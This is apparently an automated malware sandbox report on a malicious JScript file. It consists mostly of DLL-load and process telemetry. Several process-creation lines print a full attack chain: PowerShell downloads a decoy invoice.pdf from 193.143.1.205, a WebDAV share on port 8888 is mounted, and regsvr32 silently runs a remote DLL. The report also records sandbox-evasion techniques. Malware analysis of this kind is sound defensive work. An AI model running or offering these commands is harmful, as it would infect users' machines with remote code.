Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8397.js.csv");ITextStream.WriteLine(" entry:7314 f:xirgajr");ITextStream.WriteLine(" exec:2 f:xirgajr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49722

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5572			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4271			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6708	Thread sleep count: 5572 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6708	Thread sleep count: 4271 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6680	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7088	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3956	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4308	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000008.00000002.1402441349.0000028AB5FB1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1402441349.0000028AB5F48000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2599298210.0000019DCA254000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2599259795.0000019DCA242000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000A.00000002.2598229173.0000019DC4C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
